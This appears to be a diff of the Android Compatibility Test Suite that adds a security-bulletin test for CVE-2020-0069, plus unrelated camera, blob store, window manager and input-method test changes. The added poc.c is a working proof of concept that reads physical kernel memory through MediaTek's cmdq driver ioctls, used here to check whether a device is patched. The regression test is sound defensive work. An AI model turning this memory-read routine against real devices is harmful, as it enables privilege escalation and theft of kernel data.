+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
+
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
new file mode 100644
index 0000000..8ce25c1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+ name: "CVE-2020-0069",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.c"],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..3644490
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+ "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+ uint32_t count;
+ uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+ uint32_t count;
+ uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+ uint32_t count;
+ uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+ uint32_t count;
+ uint64_t addresses;
+ uint64_t values;
+};
+
+struct cmdqCommandStruct {
+ uint32_t value1;
+ uint32_t value2;
+ uint64_t value3;
+ uint64_t buffer;
+ uint32_t buffer_size;
+ struct cmdqReadRegStruct reg_request;
+ struct cmdqRegValueStruct reg_value;
+ struct cmdqReadAddressStruct read_address;
+ uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+ OperationSuccess,
+ OperationFailed,
+ OperationError,
+} OperationResult;
+
+#define SET_VALUE(x) \
+ instructions[command.buffer_size / 8] = (x); \
+ command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+ uint64_t instructions[0x100];
+ struct cmdqCommandStruct command;
+
+ memset(instructions, 0, sizeof(instructions));
+ memset(&command, 0, sizeof(command));
+
+ command.buffer = (uint64_t)&instructions;
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+ // CMDQ_CODE_EOC
+ SET_VALUE(0x4000000000000001);
+ // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+ SET_VALUE(0x1000000000000008);
+
+ for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+ int ioctl_result =
+ ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+ if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+ *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+ return OperationSuccess;
+ }
+ }
+
+ // Unable to identify the particular IOCTL code for this device.
+ return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+ uint64_t address, unsigned char *buffer,
+ size_t size) {
+ OperationResult result = OperationError;
+ uint64_t *instructions = NULL;
+ uint32_t *addresses = NULL;
+ struct cmdqCommandStruct command;
+ size_t num_words = size / 4;
+
+ if (size % 4) {
+ goto exit;
+ }
+
+ // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+ // read, plus another 4 for prologue/epilogue.
+ instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+ if (!instructions) {
+ goto exit;
+ }
+ // Another buffer to tell the driver where to read back from.
+ addresses = malloc(sizeof(uint32_t) * num_words);
+ if (!addresses) {
+ goto exit;
+ }
+ memset(&command, 0, sizeof(command));
+ command.buffer = (uint64_t)instructions;
+ command.read_address.count = size;
+ command.read_address.addresses = (uint64_t)addresses;
+ command.read_address.values = (uint64_t)buffer;
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+
+ for (size_t ii = 0; ii < num_words; ii++) {
+ addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+ // CMDQ_CODE_MOVE - put DMA address into register
+ SET_VALUE(0x0297000000000000 | addresses[ii]);
+ // CMDQ_CODE_WRITE - write PA into DMA address
+ SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+ // CMDQ_CODE_READ - read PA into register from DMA address
+ SET_VALUE(0x01d7000000000005);
+ // CMDQ_CODE_READ - read from PA into register
+ SET_VALUE(0x01c5000000000005);
+ // CMDQ_CODE_WRITE - write value into DMA address
+ SET_VALUE(0x04d7000000000005);
+ }
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+ // CMDQ_CODE_EOC
+ SET_VALUE(0x4000000000000001);
+ // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+ SET_VALUE(0x1000000000000008);
+
+ switch (ioctl(fd, ioctl_code, &command)) {
+ case -1:
+ if (errno == EFAULT) {
+ // Command buffer rejected, the driver is patched.
+ result = OperationFailed;
+ }
+ // Something is wrong with the command buffer. This may be a device
+ // type that has not been encountered during testing.
+ break;
+ case 0:
+ // Driver accepted the command buffer and did something with it.
+ result = OperationSuccess;
+ break;
+ }
+
+exit:
+ if (addresses) {
+ free(addresses);
+ }
+ if (instructions) {
+ free(instructions);
+ }
+ return result;
+}
+
+int main() {
+ int exit_code = EXIT_FAILURE;
+ int fd = -1;
+ unsigned char buffer[0x1000];
+ size_t read_size = 0x100;
+ struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+ int ioctl_code = 0;
+ bool command_accepted = false;
+ // Mediatek have given these as possible kernel base addresses for different
+ // devices.
+ unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+ unsigned long pa_length = 0x10000;
+
+ for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+ ii++) {
+ fd = open(device_names[ii], O_RDONLY);
+ if (-1 == fd) {
+ // If we can't access the driver, then it's not vulnerable.
+ if (errno == EACCES) {
+ exit_code = EXIT_SUCCESS;
+ goto exit;
+ }
+ } else {
+ break;
+ }
+ }
+ if (-1 == fd) {
+ goto exit;
+ }
+
+ if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+ goto exit;
+ }
+
+ if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+ goto exit;
+ }
+
+ for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+ ii++) {
+ for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+ pa += 0x1000) {
+ memset(buffer, 0, read_size);
+
+ switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+ read_size)) {
+ case OperationSuccess:
+ command_accepted = true;
+ for (size_t ii = 0; ii < read_size; ii++) {
+ if (buffer[ii] != 0) {
+ exit_code = EXIT_VULNERABLE;
+ goto exit;
+ }
+ }
+ break;
+ case OperationFailed:
+ exit_code = EXIT_SUCCESS;
+ break;
+ case OperationError:
+ break;
+ }
+ }
+ }
+
+ // If the driver accepted commands, but we didn't manage to read any data,
+ // then we failed to demonstrate a vulnerability.
+ if (command_accepted) {
+ exit_code = EXIT_SUCCESS;
+ }
+
+exit:
+ if (-1 != fd) {
+ if (kernel_buffer.address != 0) {
+ (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+ }
+ (void)close(fd);
+ }
+
+ return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+ /**
+ * b/147882143
+ * b/152874234
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testPocCVE_2020_0069() throws Exception {
+ if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+ containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+ containsDriver(getDevice(), "/dev/mtk_mdp")) {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+ getDevice(), 300);
+ }
+ }
+}
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index ad1fae9..dbafec8 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -99,8 +99,12 @@
"delete_on_last_lease_delay_ms";
private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR =
"total_bytes_per_app_limit_floor";
- public static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
+ private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
"total_bytes_per_app_limit_fraction";
+ private static final String KEY_MAX_ACTIVE_SESSIONS = "max_active_sessions";
+ private static final String KEY_MAX_COMMITTED_BLOBS = "max_committed_blobs";
+ private static final String KEY_MAX_LEASED_BLOBS = "max_leased_blobs";
+ private static final String KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES = "max_permitted_pks";
private static final String HELPER_PKG = "com.android.cts.blob.helper";
private static final String HELPER_PKG2 = "com.android.cts.blob.helper2";
@@ -127,9 +131,8 @@
@After
public void tearDown() throws Exception {
- for (BlobHandle blobHandle : mBlobStoreManager.getLeasedBlobs()) {
- mBlobStoreManager.releaseLease(blobHandle);
- }
+ runShellCmd("cmd blob_store clear-all-sessions");
+ runShellCmd("cmd blob_store clear-all-blobs");
}
@Test
@@ -1357,6 +1360,64 @@
}, Pair.create(KEY_SESSION_EXPIRY_TIMEOUT_MS, String.valueOf(waitDurationMs)));
}
+ @Test
+ public void testCreateSession_countLimitExceeded() throws Exception {
+ final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+ blobData1.prepare();
+ final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+ blobData2.prepare();
+ runWithKeyValues(() -> {
+ mBlobStoreManager.createSession(blobData1.getBlobHandle());
+ assertThrows(LimitExceededException.class,
+ () -> mBlobStoreManager.createSession(blobData2.getBlobHandle()));
+ }, Pair.create(KEY_MAX_ACTIVE_SESSIONS, String.valueOf(1)));
+ }
+
+ @Test
+ public void testCommitSession_countLimitExceeded() throws Exception {
+ final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+ blobData1.prepare();
+ final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+ blobData2.prepare();
+ runWithKeyValues(() -> {
+ commitBlob(blobData1, null /* accessModifier */, 0 /* expectedResult */);
+ commitBlob(blobData2, null /* accessModifier */, 1 /* expectedResult */);
+ }, Pair.create(KEY_MAX_COMMITTED_BLOBS, String.valueOf(1)));
+ }
+
+ @Test
+ public void testLeaseBlob_countLimitExceeded() throws Exception {
+ final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+ blobData1.prepare();
+ final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+ blobData2.prepare();
+ runWithKeyValues(() -> {
+ commitBlob(blobData1);
+ commitBlob(blobData2);
+
+ acquireLease(mContext, blobData1.getBlobHandle(), "test desc");
+ assertThrows(LimitExceededException.class,
+ () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc"));
+ }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+ }
+
+ @Test
+ public void testAllowPackageAccess_countLimitExceeded() throws Exception {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+ runWithKeyValues(() -> {
+ final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+ assertThat(sessionId).isGreaterThan(0L);
+ try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+ blobData.writeToSession(session);
+
+ session.allowPackageAccess(HELPER_PKG2, HELPER_PKG2_CERT_SHA256);
+ assertThrows(LimitExceededException.class,
+ () -> session.allowPackageAccess(HELPER_PKG3, HELPER_PKG3_CERT_SHA256));
+ }
+ }, Pair.create(KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES, String.valueOf(1)));
+ }
+
private static void runWithKeyValues(ThrowingRunnable runnable,
Pair<String, String>... keyValues) throws Exception {
final Map<String, String> previousValues = new ArrayMap();
@@ -1407,6 +1468,11 @@
private long commitBlob(DummyBlobData blobData,
AccessModifier accessModifier) throws Exception {
+ return commitBlob(blobData, accessModifier, 0 /* expectedResult */);
+ }
+
+ private long commitBlob(DummyBlobData blobData,
+ AccessModifier accessModifier, int expectedResult) throws Exception {
final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
assertThat(sessionId).isGreaterThan(0L);
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
@@ -1418,7 +1484,7 @@
final CompletableFuture<Integer> callback = new CompletableFuture<>();
session.commit(mContext.getMainExecutor(), callback::complete);
assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
- .isEqualTo(0);
+ .isEqualTo(expectedResult);
}
return sessionId;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
index 6ee7ec2..d04ac12 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
@@ -79,6 +79,7 @@
public List<ImageReader> y8Targets = new ArrayList<ImageReader>();
public List<ImageReader> rawTargets = new ArrayList<ImageReader>();
public List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+ public List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
public TestSample(String cameraId, StaticMetadata staticInfo,
MandatoryStreamCombination combination, boolean subY8) {
this.cameraId = cameraId;
@@ -247,9 +248,9 @@
CameraTestUtils.setupConfigurationTargets(
testSample.combination.getStreamsInformation(), testSample.privTargets,
testSample.jpegTargets, testSample.yuvTargets, testSample.y8Targets,
- testSample.rawTargets, testSample.heicTargets, testSample.outputConfigs,
- MIN_RESULT_COUNT, testSample.substituteY8, /*substituteHEIC*/false,
- /*physicalCameraId*/null, mHandler);
+ testSample.rawTargets, testSample.heicTargets, testSample.depth16Targets,
+ testSample.outputConfigs, MIN_RESULT_COUNT, testSample.substituteY8,
+ /*substituteHEIC*/false, /*physicalCameraId*/null, mHandler);
try {
checkSessionConfigurationSupported(info.mCamera, mHandler, testSample.outputConfigs,
@@ -344,6 +345,9 @@
for (ImageReader target : testSample.heicTargets) {
target.close();
}
+ for (ImageReader target : testSample.depth16Targets) {
+ target.close();
+ }
}
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 0a24671..32c927e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -327,10 +327,12 @@
List<ImageReader> y8Targets = new ArrayList<ImageReader>();
List<ImageReader> rawTargets = new ArrayList<ImageReader>();
List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+ List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(), privTargets,
- jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, outputConfigs,
- MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId, mHandler);
+ jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, depth16Targets,
+ outputConfigs, MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId,
+ mHandler);
boolean haveSession = false;
try {
@@ -416,6 +418,9 @@
for (ImageReader target : heicTargets) {
target.close();
}
+ for (ImageReader target : depth16Targets) {
+ target.close();
+ }
}
/**
@@ -498,6 +503,7 @@
List<ImageReader> y8Targets = new ArrayList<>();
List<ImageReader> rawTargets = new ArrayList<>();
List<ImageReader> heicTargets = new ArrayList<>();
+ List<ImageReader> depth16Targets = new ArrayList<>();
ArrayList<Surface> outputSurfaces = new ArrayList<>();
List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
ImageReader inputReader = null;
@@ -527,7 +533,7 @@
// separately.
CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
privTargets, jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets,
- outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
+ depth16Targets, outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
substituteHeic, null/*overridePhysicalCameraId*/, mHandler);
outputSurfaces.ensureCapacity(outputConfigs.size());
@@ -649,6 +655,10 @@
target.close();
}
+ for (ImageReader target : depth16Targets) {
+ target.close();
+ }
+
if (inputReader != null) {
inputReader.close();
}
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index ad0ed57..9866070 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -209,7 +209,7 @@
List<SurfaceTexture> privTargets, List<ImageReader> jpegTargets,
List<ImageReader> yuvTargets, List<ImageReader> y8Targets,
List<ImageReader> rawTargets, List<ImageReader> heicTargets,
- List<OutputConfiguration> outputConfigs,
+ List<ImageReader> depth16Targets, List<OutputConfiguration> outputConfigs,
int numBuffers, boolean substituteY8, boolean substituteHeic,
String overridePhysicalCameraId, Handler handler) {
@@ -307,6 +307,18 @@
heicTargets.add(target);
break;
}
+ case ImageFormat.DEPTH16: {
+ ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
+ targetSize.getHeight(), format, numBuffers);
+ target.setOnImageAvailableListener(imageDropperListener, handler);
+ OutputConfiguration config = new OutputConfiguration(target.getSurface());
+ if (overridePhysicalCameraId != null) {
+ config.setPhysicalCameraId(overridePhysicalCameraId);
+ }
+ outputConfigs.add(config);
+ depth16Targets.add(target);
+ break;
+ }
default:
fail("Unknown output format " + format);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 1972122..de7ecc8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -95,7 +95,7 @@
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:WindowInsetsAnimationControllerTests
*/
-@Presubmit
+//TODO(b/159167851) @Presubmit
@RunWith(Parameterized.class)
public class WindowInsetsAnimationControllerTests extends WindowManagerTestBase {
@@ -183,6 +183,7 @@
}
}
+ @Presubmit
@Test
public void testControl_andCancel() throws Throwable {
runOnUiThread(() -> {
@@ -215,6 +216,7 @@
mListener.assertWasNotCalled(FINISHED);
}
+ @Presubmit
@Test
public void testControl_immediately_show() throws Throwable {
setVisibilityAndWait(mType, false);
@@ -235,6 +237,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_immediately_hide() throws Throwable {
setVisibilityAndWait(mType, true);
@@ -255,6 +258,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_transition_show() throws Throwable {
setVisibilityAndWait(mType, false);
@@ -273,6 +277,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_transition_hide() throws Throwable {
setVisibilityAndWait(mType, true);
@@ -291,6 +296,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_transition_show_interpolator() throws Throwable {
mInterpolator = new DecelerateInterpolator();
@@ -310,6 +316,7 @@
mListener.assertWasNotCalled(CANCELLED);
}
+ @Presubmit
@Test
public void testControl_transition_hide_interpolator() throws Throwable {
mInterpolator = new AccelerateInterpolator();
@@ -352,6 +359,7 @@
mListener.assertWasNotCalled(FINISHED);
}
+ @Presubmit
@Test
public void testImeControl_isntInterruptedByStartingInput() throws Throwable {
if (mType != ime()) {
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index 1b71ff0..f08633f 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -340,21 +340,4 @@
throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
}
}
-
- /**
- * Clear all events with {@code eventName} in given {@code stream} and returns a forked
- * {@link ImeEventStream} without events with {@code eventName}.
- * <p>It is used to make sure previous events influence the test. </p>
- *
- * @param stream {@link ImeEventStream} to be cleared
- * @param eventName The targeted cleared event name
- * @return A forked {@link ImeEventStream} without event with {@code eventName}
- */
- public static ImeEventStream clearAllEvents(@NonNull ImeEventStream stream,
- @NonNull String eventName) {
- while (stream.seekToFirst(event -> eventName.equals(event.getEventName())).isPresent()) {
- stream.skip(1);
- }
- return stream.copy();
- }
}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index 6731e85..917f7b3 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -52,7 +52,6 @@
private static final String INLINE_SUGGESTIONS_ENABLED = "InlineSuggestionsEnabled";
private static final String INLINE_SUGGESTION_VIEW_CONTENT_DESC =
"InlineSuggestionViewContentDesc";
- private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
@NonNull
private final PersistableBundle mBundle;
@@ -128,10 +127,6 @@
return mBundle.getString(INLINE_SUGGESTION_VIEW_CONTENT_DESC, defaultValue);
}
- public boolean isStrictModeEnabled() {
- return mBundle.getBoolean(STRICT_MODE_ENABLED, false);
- }
-
static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
@Nullable Builder builder) {
final Bundle result = new Bundle();
@@ -285,10 +280,5 @@
return this;
}
- /** Sets whether to enable {@link android.os.StrictMode} or not. */
- public Builder setStrictModeEnabled(boolean enabled) {
- mBundle.putBoolean(STRICT_MODE_ENABLED, enabled);
- return this;
- }
}
}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 3acf57b..b0c66cf 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -36,7 +36,6 @@
import android.os.Looper;
import android.os.Process;
import android.os.ResultReceiver;
-import android.os.StrictMode;
import android.os.SystemClock;
import android.text.TextUtils;
import android.util.Log;
@@ -45,7 +44,6 @@
import android.view.Gravity;
import android.view.KeyEvent;
import android.view.View;
-import android.view.ViewConfiguration;
import android.view.Window;
import android.view.WindowInsets;
import android.view.WindowManager;
@@ -61,9 +59,9 @@
import android.view.inputmethod.InputContentInfo;
import android.view.inputmethod.InputMethod;
import android.widget.FrameLayout;
-import android.widget.HorizontalScrollView;
import android.widget.ImageView;
import android.widget.LinearLayout;
+import android.widget.HorizontalScrollView;
import android.widget.TextView;
import android.widget.inline.InlinePresentationSpec;
@@ -290,7 +288,8 @@
return ImeEvent.RETURN_VALUE_UNAVAILABLE;
}
case "getDisplayId":
- return getDisplay().getDisplayId();
+ return getSystemService(WindowManager.class)
+ .getDefaultDisplay().getDisplayId();
case "verifyLayoutInflaterContext":
return getLayoutInflater().getContext() == this;
case "setHeight":
@@ -300,17 +299,6 @@
case "setInlineSuggestionsExtras":
mInlineSuggestionsExtras = command.getExtras();
return ImeEvent.RETURN_VALUE_UNAVAILABLE;
- case "verifyGetDisplay":
- Context configContext = createConfigurationContext(new Configuration());
- return getDisplay() != null && configContext.getDisplay() != null;
- case "verifyGetWindowManager":
- configContext = createConfigurationContext(new Configuration());
- return getSystemService(WindowManager.class) != null
- && configContext.getSystemService(WindowManager.class) != null;
- case "verifyGetViewConfiguration":
- configContext = createConfigurationContext(new Configuration());
- return ViewConfiguration.get(this) != null
- && ViewConfiguration.get(configContext) != null;
}
}
return ImeEvent.RETURN_VALUE_UNAVAILABLE;
@@ -380,16 +368,6 @@
mClientPackageName.set(mSettings.getClientPackageName());
mImeEventActionName.set(mSettings.getEventCallbackActionName());
- // TODO(b/159593676): consider to detect more violations
- if (mSettings.isStrictModeEnabled()) {
- StrictMode.setVmPolicy(
- new StrictMode.VmPolicy.Builder()
- .detectIncorrectContextUse()
- .penaltyLog()
- .build());
- StrictMode.setViolationLogger(info -> getTracer().onStrictModeViolated(() -> {}));
- }
-
getTracer().onCreate(() -> {
super.onCreate();
mHandlerThread.start();
@@ -1062,10 +1040,5 @@
return recordEventInternal("onInlineSuggestionsResponse", supplier::getAsBoolean,
arguments);
}
-
- void onStrictModeViolated(@NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- recordEventInternal("onStrictModeViolated", runnable, arguments);
- }
}
}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 5a7d94a..699da4c 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -1006,19 +1006,4 @@
public ImeCommand callSetInlineSuggestionsExtras(@NonNull Bundle bundle) {
return callCommandInternal("setInlineSuggestionsExtras", bundle);
}
-
- @NonNull
- public ImeCommand callVerifyGetDisplay() {
- return callCommandInternal("verifyGetDisplay", new Bundle());
- }
-
- @NonNull
- public ImeCommand callVerifyGetWindowManager() {
- return callCommandInternal("verifyGetWindowManager", new Bundle());
- }
-
- @NonNull
- public ImeCommand callVerifyGetViewConfiguration() {
- return callCommandInternal("verifyGetViewConfiguration", new Bundle());
- }
}
diff --git a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
index 4d9564c..c5c5cd1 100644
--- a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
@@ -268,10 +268,13 @@
// Calculate the MAC by deriving the key using ECDH and HKDF.
SecretKey eMacKey = Util.calcEMacKeyForReader(
key0Cert.getPublicKey(),
- readerEphemeralKeyPair.getPrivate());
+ readerEphemeralKeyPair.getPrivate(),
+ sessionTranscript);
+ byte[] deviceAuthenticationBytes =
+ Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
byte[] expectedMac = Util.coseMac0(eMacKey,
